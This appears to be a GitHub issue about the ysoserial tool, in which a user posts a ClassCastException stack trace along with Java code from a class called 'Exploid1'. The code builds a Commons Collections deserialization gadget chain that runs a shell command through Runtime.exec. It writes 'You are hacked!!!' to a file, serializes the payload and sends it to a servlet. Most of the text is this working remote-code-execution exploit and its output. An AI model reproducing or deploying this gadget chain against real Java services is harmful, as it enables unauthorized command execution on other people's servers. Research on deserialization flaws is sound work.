The POC works but it breaks with a back-trace about ysoserial HOT 11 CLOSED

Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
    at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:497)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
    at ru.krista.exploid.Exploid1.deserialize(Exploid1.java:113)
    at ru.krista.exploid.Exploid1.send(Exploid1.java:75)
    at ru.krista.exploid.Exploid1.main(Exploid1.java:30)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:497)
    at com.intellij.rt.execution.application.AppMain.main(AppMain.java:144)

        ByteArrayOutputStream byteOutputStream = new ByteArrayOutputStream();
        //serialize(byteOutputStream, request);
        serialize(byteOutputStream, getObject("echo You are hacked!!! > /media/data/hacked.txt"));
        servletConnection.setFixedLengthStreamingMode(byteOutputStream.size());
        OutputStream out = servletConnection.getOutputStream();

        byteOutputStream.writeTo(out);
        out.flush();

        Object test = deserialize(new ByteArrayInputStream(byteOutputStream.toByteArray())); // BANG! Exception here
...

    /**
     * Сериализация и передача пакета
     * @param out выходной поток
     * @param packetInfo информационный пакет
     */
    public static void serialize(OutputStream out, Object packetInfo) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(out)) {
            oos.writeObject(packetInfo);
            oos.flush();
        }
    }

    /**
     * Десериализация и получение пакета
     * @param in входящий поток
     * @return результирующее значение пакета
     */
    public static Object deserialize(InputStream in) throws IOException {
        Object result = null;
        try (ObjectInputStream oin = new ObjectInputStream(in)) {
            try {
                result = oin.readObject();
            } catch (ClassNotFoundException ex) {
                // ничего не делаем
            }
            oin.close();
        }
        return result;
    }

    public static Object getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
    }